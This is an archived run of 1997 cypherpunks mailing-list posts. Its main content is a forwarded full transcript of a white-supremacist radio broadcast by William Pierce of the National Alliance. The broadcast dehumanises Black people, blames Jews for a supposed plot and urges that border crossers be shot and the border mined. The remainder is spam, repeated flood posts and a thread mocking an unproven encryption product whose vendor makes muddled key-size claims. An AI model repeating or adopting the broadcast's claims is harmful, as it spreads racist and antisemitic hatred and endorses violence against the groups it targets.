Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 10 Jan 1997 05:05:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: American Dissident Voices Weekly Transcripts
In-Reply-To: <32D55699.43C9@dreamon.com>
Message-ID: <Pine.LNX.3.95.970110075700.3480F-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


posted for your perusal.
keep all replies to UseNet.

On Thu, 9 Jan 1997, The Bok wrote:

> 
> Non-White Immigration: Death Sentence for America
> 
> by Dr. William L. Pierce 
> Chairman, National Alliance 
> 
> TODAY WE'LL TAKE A LOOK into the future -- a look into what the future
> will be like if we all remain spectators and simply let the present
> course of events continue. 
> 
> And we'll also look at what the future could be if we choose to become
> participants in the historical process instead of merely remaining
> spectators. 
> 
> I will tailor these two visions of the future especially for those of us
> who live in North America -- but in broad outline they will be
> recognizable by all of us, no matter what part of the White world we
> live in. 
> 
> First, let's look at the future we will have if we continue behaving
> just as we are now: if we continue watching TV, paying our taxes, and
> letting the politicians and the controlled media run the country. 
> 
> Consider demographics, for example: the relative numbers of the
> different types of people in America. During the 50 years since the
> Second World War, America has been darkening, has been getting less and
> less White. Immigration from Europe was cut off after the war -- except
> for Jews, of course -- and the floodgates from the non-White world were
> opened. Asians and mestizos have been pouring into the country, both
> legally and illegally. 
> 
> Most of these non-White races breed much faster than Whites do. The
> result has been a steady rise in the percentage of non-White minorities
> in America. If you live on a farm in Kansas or the Dakotas you may not
> have noticed the change. If you live in Florida or California or New
> York, however, you certainly have noticed it. In fact, most of our
> people who live in America's larger cities have had their faces rubbed
> in it. 
> 
> If things continue as they are going now, there is no chance at all that
> this situation will become better. Non-White immigrants will continue
> pouring into America, because no matter how bad things get here,
> conditions will be even worse where these immigrants came from. The
> government will not even try to halt the illegal part of this non-White
> flood, because the government doesn't really want it halted. And the
> non-Whites already here will continue to have more children than the
> Whites. At some time in the next century Whites will become a minority
> in North America. And the flood will continue. 
> 
> And the television propaganda telling us that the flood of non-Whites
> really is a good thing will continue too. The politicians will
> continue to sing the praises of "diversity" and "multiculturalism," in
> tune with the television. We will be told that if we object to
> the flood we are "haters" and "racists." Interracial sex will continue
> to be presented as fashionable by the media. And what was
> a White country 50 years ago will gradually become a Brown country. 
> 
> Of course, even a hundred years from now there may be a few super-rich
> White families who will be able to keep their heads above the flood on
> their own private islands, with their private security forces, but for
> the rest of us there will be no White schools, no White neighborhoods,
> no White clubs or bars or restaurants. We will be submerged: that is,
> our grandchildren will be submerged. That's the way it has been planned,
> and that is the way it will happen -- not may happen, but will happen --
> if we don't interfere: if we just keep watching TV, paying our taxes,
> and voting for the Democrats or the Republicans. 
> 
> Right now I can almost hear the hoots and groans from a million or so
> Politically Correct idiots. "What difference does it make whether
> America is White or Brown?" they are saying. "What difference does it
> make what color our grandchildren are? Color is only skin deep. After
> all, we're all the same; we're all equal." Or, if they're onto the very
> latest Politically Correct fad, they are saying, "There really is no
> such thing as race. Scientists have proved that race is just an illusion
> created by racists to keep us all apart." 
> 
> Really, there is no fad too foolish or too perverse, no opinion too
> contrary to the facts, for these Politically Correct lemmings to
> adopt, once it has been declared fashionable by the controlled media.
> But certainly the lemmings will have their way -- if the rest of us do
> nothing. 
> 
> Or consider crime. The lemmings would have us believe that crime is the
> result of "oppression" and "injustice" by heterosexual White males, and
> that it will disappear as soon as we have a society where no one is
> "discriminated against" and where all of the officially favored
> minorities are given everything they want. I don't think that even the
> lemmings really believe that, but that's what the television has taught
> them to say, and so that's what they say. 
> 
> You and I, on the other hand, understand that as we have given the
> minorities more and more handouts, as we have given them every sort of
> advantage over ourselves -- all sorts of affirmative action preferences
> in admissions to universities and professional schools, in the granting
> of financial aid, in hiring and promotions -- crime has become worse and
> worse. Passing laws requiring us to favor them and prohibiting us from
> discriminating against them in any way has made their behavior steadily
> worse -- not better. 
> 
> It used to be that nearly all crimes committed by Blacks were against
> other Blacks. They knew that if they attacked a White person they would
> be severely punished, and besides, segregation kept them pretty much
> among themselves and didn't give them many opportunities for mischief.
> Now we've taught them that they don't have to fear us or respect us. The
> controlled media have persuaded them that we have oppressed and
> persecuted them and that whatever they do to us serves us right. 
> 
> You know and I know that the crime situation can only become worse in
> the future, if for no other reason than that the number of Blacks and
> other minorities will continue growing. We have only to look to the
> continent of Africa in order to see our own future. Before Europeans
> came to Africa, the Blacks there were eating each other, literally, just
> like the other animals. We outlawed cannibalism among the Blacks, and
> for more than 300 years we tried to teach them the ways of civilization. 
> 
> Then after the Second World War, in a spasm of lunatic egalitarianism,
> we turned our colonies in Africa over to the indigenous Blacks and left
> them to their own devices: no oppression, no persecution, every
> advantage for success. 
> 
> And what happened? The Blacks reverted to their jungle behavior almost
> as soon as we had left. Even in South Africa, which until very recently
> was a civilized, White country, the jungle is reasserting itself. The
> financial capital, Johannesburg, which a couple of years ago was as safe
> and clean as any city in Europe, has become so crime-ridden since the
> handing over of the country to Black rule that its streets are now among
> the most dangerous in the world, with armed Black gangs prowling in
> search of prey by day as well as by night. It may be another 30 or 40
> years before conditions in South Africa resemble those in Rwanda or
> Uganda, but that's exactly where they're headed. 
> 
> And it may take more than 100 years for America to get there, but that's
> where we're headed too. There is a fundamental law of Nature which also
> applies to the historical process. It is the law of entropy. It tells us
> that if we have a highly developed civilization in one part of the world
> and a jungle society in another part of the world, and we place those
> two societies in contact and let the inhabitants of the jungle society
> take a hand in the running of things, the civilization which used to be
> highly developed will soon take on the characteristics of the jungle
> society. Ordered societies become disordered, except where the
> genius for order remains in firm control. The tendency is always toward
> decay, toward dissolution, toward chaos and ruin -- except in those rare
> instances where the vital spark is able to assert itself. When that
> spark is quenched or overwhelmed, decay inevitably sets in. 
> 
> The vital spark I'm talking about, the genius for order, the spirit of
> progress which built our civilization, is European. Of course, Europeans
> aren't the only race with a vital spark. Every people has its own
> variety of organizational genius. The Japanese have theirs, the Chinese
> have theirs, and so on. Actually, every form of life has a peculiar
> genius for organizing the non-living matter in its environment into
> living matter. That's true of worms and viruses, of fish and horses. In
> each case, however, the genius takes a unique form, the spark burns with
> a different brightness. In Black Africa the spark of civilization always
> has been very, very dim. Among our people it has been very bright. Our
> government now, however, under the influence of the controlled
> mass media, is pursuing policies which are guaranteed to extinguish our
> spark, policies which are guaranteed to bring our level of civilization
> down to that in Rwanda or Haiti -- not next year, or even in the next
> decade, but eventually. 
> 
> Haiti is a good example of the law of entropy. In the 18th century Haiti
> was the jewel among the European colonies in the New World. It was clean
> and green and prosperous. It was civilized. It had an efficient
> government, thriving industry and commerce, and law and order. It was a
> French island, a European island. Then came the egalitarian lunacy, the
> sheer democratic madness, of the French Revolution, which declared Black
> slaves and White masters equal. The consequence of this was that the
> French with foresight left Haiti, and the Blacks, having been persuaded
> that they were just as capable as Frenchmen, massacred the rest, hoping
> to have Haiti's riches entirely for themselves. What happened instead,
> of course, was that Haiti's civilization declined within a few years
> from the European level to the African level, and it has remained there
> ever since, despite the fact that the United States Marines went in and
> rebuilt Haiti's entire physical infrastructure and reorganized its
> political system earlier in this century. As soon as the White Marines
> left, in 1934, the Black genius for crime, squalor, and disorder
> asserted itself again. So that's our future, if we just sit back and
> watch: more and more non-Whites, more and more crime and filth and
> disorder, and eventually, a century or two from now, another Haiti on
> the mainland. 
> 
> But we don't have to just sit back and watch. We know how to avoid that
> dismal path of decay and ruin. We know how to solve every problem
> necessary to get us back onto the upward path again. 
> 
> Consider illegal immigration, for example, which is responsible for so
> much of the darkening of America. The government and the controlled
> media pretend that illegal immigration is an insoluble problem. They
> show us on television all the holes which Mexicans have cut in the
> border fence, they show us groups of Mexicans wading across the Rio
> Grande, they show us Mexicans climbing over the fence and running
> through the traffic in San Diego to evade our Border Patrol, and they
> wring their hands and tell us that it's just impossible to stop illegal
> immigration. The government says it's assigning another 100 Border
> Patrol agents in one place and it's building a stronger fence in another
> place, but then the Mexicans just come across some other part of the
> border. The government acts like it just doesn't know what to do, that
> it's just too big a problem, that it would take too much money to solve. 
> 
> But really, that's all just a game calculated to fool the American
> people. The government knows perfectly well how to stop illegal
> immigration, but it doesn't want to stop it. The government just wants
> to make us believe that it's trying its best. But, you know, any of you
> listeners who've had any military experience understand that illegal
> immigration can be stopped easily, quickly, and permanently. Even I,
> who've never been in the Army, can guarantee you that if I were in
> charge of the border between the United States and Mexico I could
> completely halt illegal immigration within 24 hours, and I could keep it
> completely halted with far less expense than that now required to
> operate our Border Patrol. All I would do is authorize Border Patrol
> agents to shoot anyone attempting to cross the border illegally. Two or
> three shootings in the first night, in each sector of the border where
> crossings are frequent, and the word would be out: "Don't try to cross
> the border, unless you want to die."After that, I would spend a couple
> of months erecting a simple fence from San Diego, California, to
> Brownsville, Texas. I'd erect it in two rows 100 feet apart, with mines
> and electronic sensors planted between the rows. I'd have jeep patrols
> along our side of the fence, patrolling at unpredictable times, but with
> never more than an hour between patrols, and I'd have helicopters
> patrolling above. I'd do it all with a permanent Border Patrol force
> along the Mexican border of 5,000 men, and no illegal immigrants would
> get through. None. 
> 
> The lemmings, of course, would be screaming that I am bloodthirsty, that
> I am a murderer, and so on, but really, fewer Mexicans would have to be
> shot trying to come across the border that first night than law-abiding
> Americans are now being murdered each year by illegal-alien criminals in
> California and Texas. 
> 
> I guess we all tend to be a bit selective in our sympathies. I have
> sympathy for my own people, for the victims of Mexican criminals, and
> the lemmings have sympathy for the criminals. They're Politically
> Correct, and I'm Politically Incorrect. But I would stop illegal
> immigration, painlessly and cleanly, and they prefer to believe that it
> can't be done. 
> 
> The problem of the illegal aliens already in America also can be solved.
> So can the race problem. These problems are more difficult and will
> require a much larger effort than the problem of illegal immigration,
> but the cost of solving them now is infinitesimal compared to the
> long-term cost of failing to solve them. All we need to solve these
> problems is the will to survive as a people, the will to build the basis
> for a progressive future for our kind, the will to avoid ending up like
> Haiti or Rwanda a couple of centuries hence. 
> 
> Of course, we all know that one thing couch potatoes don't have is will.
> People who've been raised on television, who've grown up with a
> spectator's attitude toward the world around them, certainly aren't
> going to stir themselves just to ensure a future for their
> grandchildren. Instead, they're just going to reach for the potato chips
> and keep on watching. Spectators don't count. The people who do count
> are in two relatively small groups. In one group are you and I and the
> others who care enough about the future of our people to do something
> about it: in fact, to do whatever it takes. 
> 
> In the other group are the people who control the mass media, plus their
> collaborators in the government, in the mainstream churches, in the
> universities, in finance and industry, and in the other institutions of
> our society. 
> 
> You know who controls the mass media. Many of you also know why they
> don't want the problem of illegal immigration and the other problems
> threatening our future to be solved. They are Jews, and throughout their
> whole history they have lived by two principles: first, always be loyal
> to your fellow Jews; and second, always remember that anyone who is not
> a Jew is your enemy; never forget and never forgive. 
> 
> Their collaborators in the government and other institutions are
> individuals who have no sense of loyalty to our people and who have a
> vested interest in following the lead of the Jews. Some of them are
> office holders who understand that they hold their offices at the
> pleasure of those who control the mass media, those who control public
> opinion, those who control votes. Most of these collaborators have no
> sense of responsibility to anyone but themselves. 
> 
> Typical of these is a man who is a friend of an acquaintance of mine; he
> is an assistant district attorney in New York City, a man who
> understands what's going on but who doesn't really care. When challenged
> to take a stand for his own people, he said: "Look. Everyone around here
> knows that the Jews are running the government. It's too bad, but
> there's nothing we can do about it. I've got to look out for myself. I
> have a career and a family to think about. If I want to get ahead, I
> have to collaborate." 
> 
> Unfortunately, there are many, many others among our people who have no
> more sense of personal honor or responsibility than this New York City
> assistant prosecutor. It is a great shame for us. We really need to
> purge ourselves of this shame some day. 
> 
> Meanwhile, we can take some comfort in the knowledge that such people,
> who have no loyalty to anyone but themselves, are always ready to switch
> sides as soon as they see the tide turning. The tide is not yet turning
> -- at least, not enough for people like that assistant district attorney
> in New York to notice. The swarm of Brown immigrants from Mexico is
> still growing from week to week, and our government is still making only
> the most transparent pretense of trying to stop them. The couch
> potatoes are as passive as ever, and the Politically Correct lemmings
> are as idiotic as ever. 
> 
> Changes are beginning to take place, however. 
> 
> Our weekly radio programs are reaching more and more people. People who
> hear us telling the truth are emboldened to tell the truth themselves. 
> 
> The ripples of truth are spreading. Soon those ripples will become
> waves. And one day the storm will break loose over this land.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: success@joblynx.com
Date: Fri, 10 Jan 1997 06:24:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: 2300 Headhunters Searching for YOU
Message-ID: <199701101418.IAA05836@admin.itol.com>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,


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a person with your qualifications would benefit from 
the services of our 2300 Professional Recruiters.

Your resume can be registered on the Internet at our award 
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Best wishes.  


Sincerely,

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President of JobLynx





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 10 Jan 1997 09:18:56 -0800 (PST)
To: snow@smoke.suba.com (snow)
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <199701100535.XAA00734@smoke.suba.com>
Message-ID: <199701101717.JAA31508@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


snow writes:
> 
> > Also: The AOL web site address my company has may not always work out when
> > the server is having problems or user overloads. Please try again later.
> > Again, the web site address for UDCM, Universal Data Cryptography Module, is:
> > http://members.aol.com/DataETRsch/udcm.html.
> 
>      For $100 up front, and about $40 a month you can get a real domain name
> and virtual domain that doesn't have a problem with "user overloads". If 
> you are so high tech, why are you using AOL for a WEB SERVER? (this is a 
> seperate issue from using it for _access_)

You would think that a company that could issue "$1,250,000 in collateral
backed zero-coupon bonds" would be able to afford a real web site.

 
> > IN RESPONSE TO THE FLAME MAIL DATA RESEARCH HAS BEEN RECEIVING:
> > Note: The 18 "sub-algorithms" of IMDMP are basically algorithm "modes", and,
> > yes, many algorithms do *not* have multiple encryption layers, although,
> > obviously, the more advanced ones do.

Obviously.

> Also, 256 bytes is equal to 2048 bits.

Thank you, I was wondering about that.

> > I realize that most of you out there know that, but some of you don't. "Bits"
> > are referenced more often than "bytes". And, the "industry standard" that
> > IMDMP is obviously well above is DES, etc. Also, DES 128, PGP 1024, RSA 128,

"industry standard"?  Which one, pray tell?


> > Are all of you out there satisfied?

No, not until your algorithm is made public and has been reviewed
by people who know what they are doing.  Most prudent crypto application
developers wait a few years after a new algorithm has been made public
to see if someone discovers flaws in it.

Unfortunately for you, the way you are announcing and promoting your
program makes it could like cryptographic snake oil.  Posting
such announcements to the cypherpunks list is a good way to get flamed.
Perhaps you should have posted to alt.biz.multi-level, where the
threshold of credulity is much higher.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ubs95@earthlink.net
Date: Fri, 10 Jan 1997 09:30:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: business marketing
Message-ID: <199701101730.JAA23760@finland.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,



I saw your posting online and was wondering if you market products/services using your computer and would like to learn how to do so QUITE a bit better than what you are already doing?

I use to use Floodgate, and I have come accross something that has really put this to shame!  If you would like to see the information, just reply back at UBS95@IX.NETCOM.COM with the message:  "No Flame" and I will send you the file that could mean the difference between success and failure in the online marketing world.

Please do not hit reply......Just send your inquires to:  ubs95@ix.netcom.com and include a note: "No Flame".  Thank you!

Sincerely,
Carol Miller


	"You can give a man a fish, but it is far better to	
	 teach a man how to fish"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen Patrick" <Mullen.Patrick@mail.ndhm.gtegsc.com>
Date: Fri, 10 Jan 1997 07:06:04 -0800 (PST)
To: DataETRsch@aol.com
Subject: RE: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <n1359231642.25627@mail.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


DataETRsch@aol.com sez:
>Comment: "Why the hell is the file size limit 258 bytes off? What, are keys
>kept in file headers?"
>Reply: Keys are NOT stored in headers. The 258 (actually 256) byte header is
>used to store certain IMDMP special security option settings. The header is
>itself secured using a 128-bit encryption code.

[My apologies in advance for not having looked at your web site]
What security option settings are in the header?  What kind of security would
be lost by knowing its contents?  I assume there is some sort of risk, hence
the encryption of the header.  When is the header decrypted?  Where is it
decrypted to?  If it is decrypted into memory before use, one could read
the plaintext straight from memory.  Is the key for the header static (same
for all files), or changing?

I assume that when the source code becomes available, you will disclose the
structure of the file header...

How will the source code be distributed?

Thank you for your time.

Patrick Mullen

Patrick.Mullen@gsc.gte.com (preferred email for non-list email)





_______________________________________________________________________________
From: DataETRsch@aol.com on Fri, Jan 10, 1997 0:46
Subject: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
To: cypherpunks@toad.com

Hello,

In compliance with the large volume of source code requests DataET Research
has been receiving, the undocumented Pascal source code of UDCM (containing
the IMDMP encryption algorithm) will be released in approximately one month.
Also, the shareware version of UDCM completely complies with ITAR since only
56-bit keys are allowed. The registered version allows 2048-bit keys. The
registered version can only be sold within the U.S. and Canada. Also:

IN RESPONSE TO THE FLAME MAIL DATAET RESEARCH HAS RECEIVED:

A "comment:" is from a flame mail. A "reply:" is DataET Research's reply to
the comment.

Comment: "What do you mean by 'extensive research'."
Reply: Benchmark tests. Source code comparisons. Documentations of other
algorithms. "Applied Cryptography".

Comment: "Yah, okay, since when is a DLL not royalty-free?!"
Reply: Read some component catalogs. Go search the Internet.

Comment: "That stupid line about 140 function bloats your ad."
Reply: Is this constructive criticism or what?

Comment: "What the hell does DLL size have to do with cost-effectiveness?"
Reply: Upload time. Disk creation time. Minimal archive size increase.

Comment: "I've never even heard of IMDMP before. Is this a joke?"
Reply: UDCM (IMDMP) came out January 1st, 1997. How do you think successful
companies start anyway, with millions of dollars upfront? DataET Research is
a relatively new company.

Comment: "What kind of industry standard is IMDMP above?"
Reply: 128-bit encryption. Average DES is 128. PGP tops 1024. IDEA goes at
128. RSA the same. Full security IMDMP is 2048-bit. Any other questions?

Comment: "Any bonehead can tell that 256 bytes is 2048 bits."
Reply: Does anybody out there feel insulted?

Comment: "Why does IMDMP need sub-algorithms? Is there something wrong?"
Reply: Sub-algorithms of IMDMP are basically algorithm modes. There is
nothing wrong with IMDMP's structure. Why don't you see what sub-algorithms
are for yourself? Go try out UDCM:
http://members.aol.com/dataetrsch/udcm.html.

Comment: "What algorithm doesn't process both binary and ASCII?"
Reply: Go search the Internet for one. You'll find many dinky ones.

Comment: "What algorithm doesn't allow multiple encryption layers?"
Reply: Go search the Internet for one. You'll find many dinky ones.

Comment: "Who says IMDMP doesn't have any back-doors or magical keys?"
Reply: What more do you want us to prove? The source code will be out in
about a month.

Comment: "Why is there a dumb 2,147,483,390 file size limit?"
Reply: It has do with 2^32 DOS file pointer long integer variables. You
developers should know that.

Comment: "Why the hell is the file size limit 258 bytes off? What, are keys
kept in file headers?"
Reply: Keys are NOT stored in headers. The 258 (actually 256) byte header is
used to store certain IMDMP special security option settings. The header is
itself secured using a 128-bit encryption code.

Comment: "What the do you mean by 'file specific unique encryption'."
Reply: For the idiot who sent this message to us: Why don't you download UDCM
V2.0 and view its documentation for yourself?

Comment: "Isn't IMDMP illegal?!"
Reply: The version of UDCM (IMDMP) being distributed on the Internet, the
shareware version, allows only 56-bit keys. The registered version allows
2048-bit ones. The registered version is only sold within the U.S. and
Canada.

Comment: "I want the damn source code to IMDMP now. How do we know for sure
that IMDMP is better than DES and all the others you mentioned?"
Reply: Wait one month please.

Jeremy K. Yu-Ramos
President
DataET Research
Data Engineering Technologies

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From: DataETRsch@aol.com
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	  Thu, 9 Jan 1997 20:14:20 -0500 (EST)
Date: Thu, 9 Jan 1997 20:14:20 -0500 (EST)
Message-ID: <970109201419_1207964145@emout18.mail.aol.com>
To: cypherpunks@toad.com
Subject: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 10 Jan 1997 08:51:03 -0800 (PST)
To: Mullen.Patrick@mail.ndhm.gtegsc.com (Mullen Patrick)
Subject: Re: encryption program
In-Reply-To: <n1359225878.73908@mail.ndhm.gtegsc.com>
Message-ID: <199701101642.KAA11229@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mullen Patrick wrote:
> 
> I'm looking for ciphertext analysis tools --
> 
> What analysis tools did you use?  Where can I get a publicly available copy?
> 

I just wrote a little c program for frequency analysis, but would
also be interested if such set of tools existed.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:18:21 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101909.OAA12428@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:19:41 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101909.OAA12364@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:21:17 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101908.OAA12233@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:19:35 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101907.OAA12226@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:18:15 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101910.OAA12471@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:18:35 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101908.OAA12299@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:19:19 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101908.OAA12314@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
Homepage:www.geocities.com/~pentiumru/icehtml.htm
We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:18:56 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101908.OAA12305@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:19:23 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101909.OAA12433@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:18:25 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101908.OAA12294@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:20:04 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101908.OAA12292@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:18:52 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101909.OAA12384@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:17:53 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101909.OAA12385@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:19:29 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101910.OAA12460@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:21:01 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
Message-ID: <199701101908.OAA12306@Arl-Mail-Svc-1.compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain


Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
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We Are THE BEST!! 
So Check us OUT!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ice@win.bright.net
Date: Fri, 10 Jan 1997 14:18:03 -0800 (PST)
To: cypherpunks <@twnmoe10.edu.tw:cypherpunks@toad.com>
Subject: Fukkin Elite!
